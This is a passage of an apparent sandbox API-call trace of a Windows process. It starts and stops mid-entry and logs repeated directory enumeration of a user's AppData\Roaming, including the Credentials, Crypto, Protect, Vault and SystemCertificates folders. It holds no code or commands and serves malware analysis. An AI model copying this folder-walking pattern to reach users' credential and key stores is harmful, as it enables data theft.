lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0183.340] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0183.340] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.340] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0183.341] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0183.341] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0183.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.341] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0183.341] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0183.341] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.341] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0183.341] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.341] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0183.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0183.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0183.342] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.342] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.342] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0183.342] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0183.342] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0183.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0183.343] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0183.343] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32ff935, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xbc518aba, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbc518aba, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x966dfd8e, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x966dfd8e, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5436ad3, ftCreationTime.dwHighDateTime=0x1d5c552, ftLastAccessTime.dwLowDateTime=0xc4597ef0, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc4597ef0, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcdc11d5c, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdc11d5c, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW 